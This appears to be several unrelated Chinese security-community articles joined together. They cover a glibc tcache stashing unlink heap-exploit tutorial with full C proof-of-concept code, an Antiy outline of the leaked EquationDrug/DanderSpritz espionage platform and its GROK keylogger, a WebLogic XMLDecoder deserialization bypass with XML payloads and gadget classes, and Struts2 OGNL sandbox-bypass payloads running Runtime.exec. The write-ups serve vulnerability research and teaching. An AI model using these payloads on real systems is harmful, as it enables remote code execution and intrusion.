(0x60) tcache_entry[4](6): 0x555555559de0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
##### 第二轮的stash：
重点攻击的是`tc_victim` 也就是目标地址。
pwndbg> p tc_victim
$21 = (mchunkptr) 0x555555558050
很明显最终目标也就是保证让`tc_victim`放入tcache即可。观察代码，可以发现仅需要保证的也就是不要让程序crush。
if (tc_victim != 0)
{
//得保证目标地址chunk的bk为可写的指针
bck = tc_victim->bk; //tag-0x10->bk=bck =tag+8
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin; //保证一个可写的bck，程序即可正常的执行
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk，将 tc_victim 后一个 Chunk 的 fd 指向 bin，即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
其得保证`tc_victim->bk`是一个可写指针，此示例程序是`&victim`，是其他的也是可以的。
pwndbg> x/30gx 0x555555558050
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060 <victim>: 0x00007ffff7fbac30 0x0000555555558060
0x555555558070 <victim+16>: 0x0000000000000000 0x0000000000000000
pwndbg> p bck
$22 = (mchunkptr) 0x555555558060 <victim>
执行完毕后，获得一个目标地址的chunk进入了tcache，也达到了阈值，也就退出了 stash 循环。
并且再次申请一下就得到一个目标地址的chunk。
(0x60) tcache_entry[4](7): 0x555555558060 --> 0x555555559de0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0
#### 小总结
* 先放入 2 个 Chunk 到 Smallbins，5 个 Chunk 到对应的 tcache
* 在不破坏 fd 的情况下， **将后放入 Smallbins 的 Chunk 的 bk 设置为目标地址减 0x10，同时要将目标地址加 0x8 处的值设置为一个指向一处可写内存的指针；**
* 接着用calloc触发stash 机制，会将后放入 Smallbins 的 Chunk 被放入 tcache，此时的 bin->bk 就是目标地址减 0x10，相当于把目标地址减 0x10 的指针链接进了 smallbins 中。
* 之后不满足终止条件，会进行下一次的 stash，这时的 `tc_victim` 就是目标地址。接下来由于原来的设置，目标地址加 0x8 处的指针是一个可写指针，保证stash流程正常走完。
* 最后目标地址就会被放入 `tcache_entry`的头部，stash 满足终止条件而终止。
重点在攻击最后一个进入smallbin的bk指针，让其指向目标地址-0x10的地方，并且 **保证目标地址+8的位置为一个可写的指针。**
### `tcache_stashing_unlink plus plus`
也就是可以同时实现上面的2个功能。
* 任意地址分配一个chunk
* 任意地址写入一个`main_arena`附近的值
#### 示例代码
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address, at the same time, write a big number to arbitrary address\n");
printf("\n1. need to know heap address, the victim address that you need to get chunk pointer and the victim address that you need to write a big number\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("victim2's address: %p, victim2's value: 0x%lx\n",
&victim2, victim2);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim2-0x10\n");
victim[1] = (uint64_t)(&victim2)-0x10;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("victim2's value: 0x%lx\n",
victim2);
return 0;
}
#### 调试过程
基本跟第2个一样，断点还是断在相似的位置，然后分析相关位置的代码即可。
调试完成发现，其跟第二个十分相似，只是在第二个中保证的是：`目标地址+8`为一个可写的地址即可。然而想要实现一个地方写入一个巨大的`main_arena`附近的值，只需把`目标地址+8`为这个地方-0x10即可。
bck->fd = bin;
#### 小总结
重点操作在：
* 将 Smallbins 里的后一个进入的chunk的 bk 设置为目标地址 1 减 0x10。
* 将目标地址 1 加 0x8 的位置设置为目标地址 2 减 0x10。
这样就可以分配到目标地址 1的chunk，同时向目标地址 2 写入一个大数字。
### 相关例题
* `2019-HITCON-one_punch_man`
* `2019-HITCON-lazyhouse`
* `2020-XCTF-GXZY-twochunk`
* `BUUCTF 新春红包3`
## 参加链接
<https://zhuanlan.zhihu.com/p/136983333>
<http://blog.b3ale.cn/2020/05/05/Tcache-Stashing-Unlink-Attack/#2020-XCTF-GXZY-twochunk%EF%BC%88tcache-stashing-unlink-attack-plus-plus%EF%BC%89> | 社区文章 |
# 方程式组织EQUATION DRUG平台解析(提纲)
|
##### 译文声明
本文是翻译文章，文章来源：安天实验室
原文地址：<http://www.antiy.com/response/EQUATION_DRUG/EQUATION_DRUG.html>
译文仅供参考，具体内容表达以及含义原文为准。
**PDF 报告下载：链接：**[
**http://pan.baidu.com/s/1nvdirzz**](http://pan.baidu.com/s/1nvdirzz)
**密码：wsvo**
**
**
**1\. 背景**
对于“方程式组织”，在过去的两年中，安天已经连续发布了三篇分析报告：在《修改硬盘固件的木马——探索方程式（EQUATION）组织的攻击组件》[1]
中，安天对多个模块进行了分析，并对其写入硬盘固件的机理进行了分析验证；在《方程式（EQUATION）部分组件中的加密技巧分析》[2]报告中，对攻击组件中使用的加密方式实现了破解；在《从“方程式”到“方程组”——EQUATION攻击组织高级恶意代码的全平台能力解析》[3]报告中，安天独家提供了方程式Linux和Solaris系统的样本分析，这也是业内首次正式证实这些“恶灵”真实存在的公开分析。
APT的分析成果，与研发反APT产品一样，都要基于充分的基础积累，而不可能“一夜之间建成罗马”，对于方程式这样大至无形的超级攻击组织来说，我们过去所做的具体的分析工作都是盲人摸象的过程，一旦飘忽的线索落入我们已经摸索过的范围之内，就可以迅速发布储备成果，而如果面对的是一个未曾充分探查的区域，则需要更长的时间展开分析工作，因此与安天此前已经发布的3篇方程式的长篇报告相比，本篇报告的当前版本是比较仓促的，因此我们称之为“提纲”，我们旨在能抛砖引玉，邀请更多兄弟团队共同加入分析工作，以便进一步呈现出其全貌。
本篇分析是围绕2017年1月12日，“影子经纪人”放出Equation Group 组件中的61个文件[4]
展开的。经分析，本次放出的61个文件中，其中含有Equation Group
组件和DanderSpritZ（RAT）工具中的一些插件。DanderSpritZ是NSA（National Security
Agency）的间谍工具之一，在1月7号“影子经纪人”放出的Windows攻击工具[5]中也包含了大量DanderSpritZ的插件名称。
组件EquationDrug是一个很复杂的模块。其存活时间有近10年，后来被GrayFish升级替代。EquationDrug到GrayFish是攻击平台级别的恶意代码体系，它具有安装与卸载插件功能。本次“影子经纪人”放出的文件中，我们看到了更多的EquationDrug组件中的插件。通过分析比对发现，这些插件比之前安天分析过的插件版本低，但相对更为全面。
至今，安天已经完成了对插件功能列表和部分插件的关联分析，先将此部分的分析工作对外分享，后续会将更多的信息分享。
**2\. 方程式线索曝光和分析成果时间链梳理**
2013年起，安天从样本分析中，逐步发现存在一个拥有全平台载荷攻击能力的攻击组织，并逐步关联分析了其多个平台的样本。在这个过程中，我们感到一个大至无形的超级攻击组织存在，但我们并未找到其攻击背景。
2015年2月，卡巴斯基实验室曝光了一个名为方程式（Equation
Group）[6]的攻击组织，卡巴斯基认为该组织活跃近20年，可能是目前世界上存在的最复杂的APT攻击组织之一，并认为该组织是震网（Stuxnet）和火焰（Flame）病毒幕后的操纵者。经过线索比对，安天发现这正是此前一直跟踪的超级攻击组织，决定通过报告公开其针对硬盘固件作业的原理[1]和所破解的其部分加密算法[2],形成了安天对于方程式系列分析的前两篇报告。,
2015年3月，卡巴斯基实验室发布了基于Equation Drug组件或平台的剖析[7]，Equation
Drug是“方程式组织”所用的主要间谍组件或平台之一，最早追溯到2001年，并且一直沿用至今。该组件或平台的架构类似于一个具有内核模式和用户模式的微型操作系统，通过自定义接口进行交互，该组件或平台包括驱动程序、平台内核（协调器）和若干插件，其中一些插件配备独特的ID和版本号，用于定义相关功能等。
2016年8月，一个自称“影子经纪人”（The Shadow
Brokers）的个人（或组织）声称入侵了网络间谍组织“方程式”（Equation）[8]，并以100万比特币（当时约价值5.6亿美元）的价格，公开“拍卖”所掌握的方程式组织的攻击工具。“方程式组织”被认为与NSA存在联系。为证明成功入侵的真实性，影子经纪人于当月13日在开源项目托管平台GitHub加密发布了这些攻击工具，并有意将其中的少量攻击工具以明文形式发布。
2016年8月，卡巴斯基实验室通过对“方程式组织”与“影子经纪人”曝光的数据进行对比验证[9]，确认了曝光的数据与“方程式组织”有关。2016年10月，影子经纪人对攻击工具再度发起拍卖[10]，并称在GitHub发布的方程式攻击工具只占其掌握的60%。
11月，影子经纪人公开了一份遭受入侵的服务器清单[11]，并称攻击方与NSA有关。清单的日期显示，各系统遭受入侵的时间在2000年到2010年之间，受控IP及域名分布在49个国家，主要集中在亚太地区，受影响的国家包括中国、日本、韩国、西班牙、德国、印度等。
安天将这些数据导入到安天态势感知和预警平台，形成了下图的可视化展现。
图 1 安天态势感知与监控预警平台：“方程式”组织对全球互联网节点的入侵可视化复现
在影子经纪人的爆料中，提及相关服务器可能是Linux、FreeBSD和Solaris。而在2016年上半年的两次技术会议中，安天则明确说明，方程式有针对多个系统平台的样本，其中包括Linux和Solaris。安天最终于11月5日公开了方程式组织针对Linux和Solaris的部分样本载荷的分析报告（安天方程式系列报告之三）。
安天分析团队对小组“方程式”上述信息进行了梳理，整理出方程式事件曝光和相关分析的时间链。
图 2 方程式事件相关信息曝光和厂商分析的时间链
**3\. DanderSpritz攻击平台**
安天通过对本次泄露的文件以及对以往方程式资料的分析发现，“方程式组织的“EquationDrug”平台与泄露文件中提到的“DanderSpritz”具有一定内在联系：
1\.
本次泄露的msgkd.ex_、msgki.ex_、msgks.ex_、msgku.ex_为GROK插件，是“DanderSpritz”的插件或模块，该插件在“EquationDrug”平台中也曾出现，通过分析发现本次泄露的GROK为低版本GROK插件。
2\.
本次曝光的各类DLL插件中一处数据为插件ID，插件ID都是以0x79开头，如：0x79A4、0x79D8，同样，“EquationDrug”平台的插件也设有内置ID，“EquationDrug”平台的插件ID为0x80开头。且两个平台的插件导出函数参数的数据结构也存在相似之处。
因此，基本可以认为方程式组织使用的“EquationDrug”攻击平台与“DanderSpritz” 使用了相同的架构设计，
两者可能是不同的版本代号，或至少来自同一开发团队，或资源高度共享的团队。
图 3 方程式组织的DanderSpritz攻击平台
图 4 “影子经纪人”泄露的“DanderSpritz”攻击平台截图
本次“影子经纪人”曝光的文件中多数为“DanderSpritz”平台的攻击插件，从放出的文件列表HASH和截图来看，攻击工具和插件非常丰富且标准化，具体包括远控、漏洞利用、后门、插件等，DanderSpritz_All_Find.txt文件内容多达7千余行，其中插件有数百个之多，我们将泄露出来的61个文件进行梳理，分析出了部分插件的功能，如下表（后续版本会持续更新插件确认结果）：
图 5 曝光的“DanderSpritz”平台的攻击插件截图
“DanderSpritz”一词在“棱镜”事件中曾被曝光，文件指出该平台是NSA用于全球监控的网络武器，可被用于多种作业场景，如下图中“FIREWALK”[12]工具用于网络流量采集和注入，其说明中提及到了DNT的“DanderSpritz”，DNT与ANT同属于NSA的网络组织，“方程式”与NSA再一次被联系到一起。
图 6 斯诺登曝光的NSA-ANT网络武器FIREWALK
NSA-ANT网络武器最早在2013年从斯诺登事件中曝光，共包含48个攻击武器，随着事件的发酵，不断有媒体和组织对其进行曝光，安天分析工程师根据目前曝光的全部资料尝试初步绘制了相关攻击装备的图谱，其相关映射关联还在进一步的维护中。
**4\. 部分组件与插件分析（继续完善中）**
**4.1 GROK键盘与剪贴版记录器驱动**
本次泄露的恶意代码中包含四个功能相似的GROK组件，它们都是PE文件，版本为1.2.0.1，均可以从资源段中解密并释放键盘与剪贴版记录器驱动msrtdv.sys。
**4.1.1 样本标签**
该恶意代码样本是键盘记录器及剪贴版监视工具，在之前友商报告中曾经提到过有相似功能的恶意代码，下面对其相似之处进行对比。
**4.1.2 版本信息**
样本包含版本信息，文件版本为5.1.1364.6430，源文件名为msrtdv.sys，文件描述为MSRTdv interface
driver。其中文件版本低于之前已经曝光的版本5.3.1365.2180，源文件名与文件描述的不同在于将两个字母“d”和“v”的位置互换，一个是“mstrdv.sys”，另一个是“msrtvd.sys”。
图 8 本次泄露版本与之前曝光版本的版本信息
**4.1.3 主要功能**
两个不同版本的样本其主要功能相同，通过给转储程序建立专用的进程来汇集所收集的数据，每隔30分钟，将结果压缩到文件"%TEMP%tm154o.da"。之前曝光的版本中，包含多个IoControlCode，分别对应不同的功能。
图 9 之前曝光版本的主要功能代码
而本次泄露的样本中，IoControlCode虽然只有0x22002C，但一些主要功能仍然存在，可以通过反编译后的代码看出它们的相同之处。
图 10 本次泄露版本的主要功能代码
从以上分析比较中可以发现，本次泄露的恶意代码样本应为较低版本，无论从版本信息还是功能上，都要低于之前曝光的版本。在影子经纪人泄露出的文件DanderSpritz_All_Find.txt中，GROK的版本号也清楚的说明了这个问题，影子经纪人所释放出的只是GROK组件的低版本部分文件，高版本仍然被其掌握在手中。
图 11 GROK组件的不同版本号
**4.2 Processinfo插件遍历进程模块**
本插件用于实现对指定进程的模块遍历，并调用上层模块预设的回调函数。
**4.2.1 样本标签**
**4.2.2 主要功能**
本插件提供四个基于序号导出的函数。
图 12 1号导出函数 设置上层模块回调函数
图 13 3号导出函数 返回核心功能函数地址
图 14 4号导出函数 获取插件版本信息
图 15 遍历指定进程，默认为当前进程
图 16 遍历指定进程模块，计算模块对应文件HASH（SHA1）
**4.3 kill_Implant插件杀进程模块**
**4.3.1 样本标签**
**4.3.2 主要功能**
模块调用者传递进来进程ID，该模块利用函数OpenProcess获取句柄，再利用函数TerminateProcess结束对应进程。
图 17 结束进程
**5\. 小结**
此次“影子经纪人”释放的Equation
Group中的61个文件，对于全球网络安全研究者分析厘清EQUATION相关攻击平台的组成和架构有很大帮助，而经过打通分析相关曝光信息，我们看到了该攻击平台的更多的信息，如数百个攻击插件以及“DanderSpritz”攻击平台。
通过对相关文件分析后，安天分析小组可以判断其中部分组件与之前卡巴斯基所曝光的GROK组件为同类样本，而这些组件为早期的低版本。另外，我们的分析结果也表明了“DanderSpritz”与Equation
Drug使用相同的组件和架构设计，“DanderSpritz”可能就是方程式组织使用的Equation Drug攻击平台。
由于时间仓促，我们目前只披露了部分文件和泄露信息的相关分析成果，后续我们的分析工作还会继续进行下去。
五年前，在安天展开针对Flame（火焰）蠕虫的马拉松分析中，有专家曾提醒我们不要“只见树叶，不见森林”，这让我们深刻的反思了传统分析工程师“视野从入口点开始”的局限性，而开始尝试建立起从微观见宏观的分析视野。
对安天来说，这四年以来，对方程式组织的持续跟踪分析，对安天是极为难得的了解最高级别攻击者（即我们所谓A2PT，‘高级的APT’）的经历。深入研究这种具有超级成本支撑和先进理念引领的超级攻击者，对于改善安天探海、智甲、追影等高级威胁检测防御产品的防御能力也非常关键。但对于应对A2PT攻击者来说，无论是有效改善防御，还是进行更为全面深入系统的分析，都不是一家安全企业能够独立承载的。此中还需要更多协同，更多的接力式分析，而不是反复重复的发明轮子。正是基于这种共同认知，在不久之前第四届安天网络安全冬训营上，安天和360企业安全等安全企业向部分与会专家介绍了能力型安全厂商分析成果互认的部分尝试。只有中国的机构用户和能力型安全厂商形成一个积极互动的体系，才能更好的防御来自各方面的危险。
我们警惕，但并不恐惧，对于一场防御战来说，除了扎实的架构、防御、分析工作之外，必胜的信念是一个前提。
无形者未必无影， 安天追影，画影图形！
**附录一：参考资料**
[1] 安天：修改硬盘固件的木马 探索方程式（EQUATION）组织的攻击组件
<http://www.antiy.com/response/EQUATION_ANTIY_REPORT.html>
[2] 安天：方程式（EQUATION）部分组件中的加密技巧分析
<http://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html>
[3] 安天：从“方程式”到“方程组”EQUATION攻击组织高级恶意代码的全平台能力解析
<http://www.antiy.com/response/EQUATIONS/EQUATIONS.html>
[4] THESHADOWBROKERS CLOSED, GOING DARK
<https://onlyzero.net/theshadowbrokers.bit/post/messagefinale/>
[5] Stolen NSA "Windows Hacking Tools" Now Up For Sale!
<http://thehackernews.com/2017/01/nsa-windows-hacking-tools.html>
[6] Kaspersky：Equation: The Death Star of Malware Galaxy
<http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/>
[7]Kaspersky：Inside the EquationDrug Espionage Platform
<https://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/>
[8] Equation Group Cyber Weapons Auction – Invitation
<https://github.com/theshadowbrokers/EQGRP-AUCTION>
[9] The Equation giveaway
<https://securelist.com/blog/incidents/75812/the-equation-giveaway/>
[10] I just published “TheShadowBrokers Message #3”
<https://medium.com/@shadowbrokerss/theshadowbrokers-message-3-af1b181b481>
[11] Shadow Brokers reveals list of Servers Hacked by the NSA
<http://thehackernews.com/2016/10/nsa-shadow-brokers-hacking.html>
[12] ANTProductData2013
<https://search.edwardsnowden.com/docs/ANTProductData2013-12-30nsadocs>
[13] Kaspersky：A Fanny Equation: "I am your father, Stuxnet"
<http://securelist.com/blog/research/68787/a-fanny-equation-i-am-your-father-stuxnet/>
[14] Kaspersky：Equation Group: from Houston with love
<http://securelist.com/blog/research/68877/equation-group-from-houston-with-love/>
[15] Kaspersky：Equation_group_questions_and_answers
<https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf>
[16] Kaspersky：The Equation giveaway
<https://securelist.com/blog/incidents/75812/the-equation-giveaway/>
**附录二：关于安天**
安天从反病毒引擎研发团队起步，目前已发展成为以安天实验室为总部，以企业安全公司、移动安全公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰，崇尚自主研发创新，在安全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的技术与产品体系有效结合，以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结合多年积累的海量安全威胁知识库，综合应用大数据分析、安全可视化等方面经验，推出了应对高级持续性威胁（APT）和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。
全球超过三十家以上的著名安全厂商、IT厂商选择安天作为检测能力合作伙伴，安天的反病毒引擎得以为全球近十万台网络设备和网络安全设备、超过五亿部手机提供安全防护。安天移动检测引擎是全球首个获得AV-TEST年度奖项的中国产品。安天技术实力得到行业管理机构、客户和伙伴的认可，安天已连续四届蝉联国家级安全应急支撑单位资质，亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。安天是中国应急响应体系中重要的企业节点，在红色代码、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中，安天提供了先发预警、深度分析或系统的解决方案。 | 社区文章 |
# 前因
weblogic 2729过去了这么久，一开始只有10.3.6的版本exp以及分析公开，现在12.1.3 exp也在阿里白帽大会公布了，于是分析一下。
# 分析过程
## soucre
拿10.3.6的payload来打，发现报错。
无法使用`UnitOfWorkChangeSet`这个类，12.1.3已经没有这个类了。
weblogic 2715禁止使用class标签了，通过`DocumentHandler`查看是否还有其他标签和属性是否可用。
jdk1.7比jdk1.6多了几个标签。看看有什么利用
### property标签
网上有例子，并且官方有文档解释。
<https://docs.oracle.com/cd/E17802_01/products/products/jfc/tsc/articles/persistence2/beanbox_Folder.1/docs/javadoc/java/beans/XMLEncoder.html>
<property name="command"></property> //执行getCommand方法
<property name="command"><string>calc</string></property> //执行setCommand方法。
参数限制于java基本类型。
### field标签
获取类中的静态属性。
结合起来的例子
package com.company;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
public class People {
public static People people = new People("xxxx");
String command;
People(String command) {
this.command = command;
}
public String getCommand() {
System.out.println(this.command);
return this.command;
}
public void setCommand(String command) {
this.command = command;
}
public static void main(String[] args) {
java.io.File file = new java.io.File("d:/people.xml");
java.beans.XMLDecoder xd = null;
try
{
xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
}
catch(Exception e)
{
e.printStackTrace();
}
Object o = xd.readObject();
xd.close();
}
}
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<field class="com.company.Test" name="people" id="peopleobj"/>
<var idref="peopleobj">
<property name="command">
<string>calc</string>
</property>
<property name="command">
</property>
</var>
</java>
打印了cacl。总结一下我们现在能做的，调用静态属性的get set方法。void标签可以实例化，但是没办法获取class。
## 数据流
这里当时我找了很久，也没找到被实例化当成静态属性的危险类。类的范围被限制太死了，既然是被限制的代码执行，那能不能找下其他利用，先获取任意类，然后使用void标签进行实例化的操作，再调用实例化类的setter、getter方法。结果是能找到，而且几个类能这样利用。
通过寻找beanclass，set方法是String，get方法返回的是Class类型。
寻找staticclass，提取静态属性所有的class类型。
然后还有继承关系，如果staticclass的子类是beanclass，也算入其中。
除了公开的`com.bea.xbean.schema.BuiltinSchemaTypeSystem ST_ANY_TYPE`
这里我一共找了三条可以实例化任意类。
打码类 FIRSTRESULT_FIELD
class:org.eclipse.persistence.internal.helper.DatabaseField
setter:typeName
getter:type
打码类 ST_ANY_TYPE
class:org.apache.xmlbeans.impl.schema.SchemaTypeImpl
setter:FullJavaName
getter:JavaClass
打码类 NO_TYPE
class:org.apache.xmlbeans.impl.schema.SchemaTypeImpl
setter:fullJavaName
getter:javaClass
#### sink
现有公开的有两种利用：
1、直接找命令执行或者文件操作的类。
`大码`，直接执行命令。
2、反序列化的类。
`org.slf4j.ext.EventData`,可以看到构造方法可以进行二次xmldecoder，并且参数也是可控的。
# 效果
最后回显
# 参考链接
阿里白帽大会weblogic议题
<https://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi> | 社区文章 |
这篇文章的重点不在于分析漏洞,而是通过漏洞去分析struts2沙箱的防护以及绕过,注意本文的struts2的版本范围与漏洞影响的范围是不对应的,只是顺序问题。
然后本文环境是使用的kingkk师傅仓库的`https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-015`
### s2-013
payload
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
这个漏洞的调用堆栈是这样的
这个洞的原因呢是struts2的标签中 `<s:a>` 和 `<s:url>` 都有一个 includeParams 属性,这个属性可以设置为
none - include no parameters in the URL (default)
get - include only GET parameters in the URL
all - include both GET and POST parameters in the URL
问题出现于这种标签解析的过程注入了OGNL表达式,当为`all`的时候payload可以get和post,当为get的时候只能利用get请求触发,当为none的时候不会触发。
#### struts2-2.3.14.1之前
在一开始我们关注`allowStaticMethodAccess`,因为它默认为false,阻止了我们去调用静态方法,`SecurityMemberAccess`类中定义了这些操作,然后它继承自`DefaultMemberAccess`
我们再来了解下什么是`_memberAccess`,在OgnlContext包里面
然后可以看到调用到
public class DefaultMemberAccess
implements MemberAccess
{
public boolean allowPrivateAccess = false;
public boolean allowProtectedAccess = false;
public boolean allowPackageProtectedAccess = false;
public DefaultMemberAccess(boolean allowAllAccess)
{
this(allowAllAccess, allowAllAccess, allowAllAccess);
}
public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess)
{
this.allowPrivateAccess = allowPrivateAccess;
this.allowProtectedAccess = allowProtectedAccess;
this.allowPackageProtectedAccess = allowPackageProtectedAccess;
}
明显看出这里控制能访问哪些函数,然后有个地方我没有调试清楚`_memberAccess`和`SecurityMemberAccess`之间是如何是建立起共享属性的,文章`https://paper.seebug.org/794/#32-struts-2320`写了调试的过程。
但是我们可以知道通过ongl调用全局属性`_memberAccess`来修改掉`allowStaticMethodAccess`,那么我们就可以去调用类静态方法。
对于s2-013来说,payload如下
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
### S2-015
payload
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
这个漏洞产生于在配置文件中,配置了action通配符为`*`,并且动态解析的时候,内容作为OGNL注入了
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
这个配置可以让我访问`*`的时候去访问对应的jsp页面
漏洞就出在了跳转jsp页面的动态解析过程,看下调用堆栈
然后不细讲了,看一下关键部分即可,在`struts2-core-2.3.14.2.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class`
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
这里是初步处理完的跳转,然后进入`conditionalParse`方法进行二次处理
在后面我们看到熟悉的处理函数
然后经过熟悉的格式处理到达
RCE了,大概漏洞流程是这样,重点还是分析沙箱的绕过。
#### struts2-2.3.14.1-struts2-2.3.20
在到版本`struts2-2.3.14.2`时,看diff
将allowStaticMethodAccess添加了`final`修饰符,删除了`setAllowStaticMethodAccess`没办法直接修改了,那么如何如何绕过呢,看网上的payload
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
在我测试过程中发现`xwork.MethodAccessor.denyMethodExecution`本来就是false,所以payload为
${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
这个思路是利用反射机制去调用和操作私有域和方法,详情看文章`https://www.cnblogs.com/ixenos/p/5699420.html`,然后突破了final,然后后面就是构造的回显了
output: 123
参考:
https://paper.seebug.org/794/#32-struts-2320
https://www.anquanke.com/post/id/161690
https://blog.semmle.com/ognl-apache-struts-exploit-CVE-2018-11776/
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/#S2-015 | 社区文章 |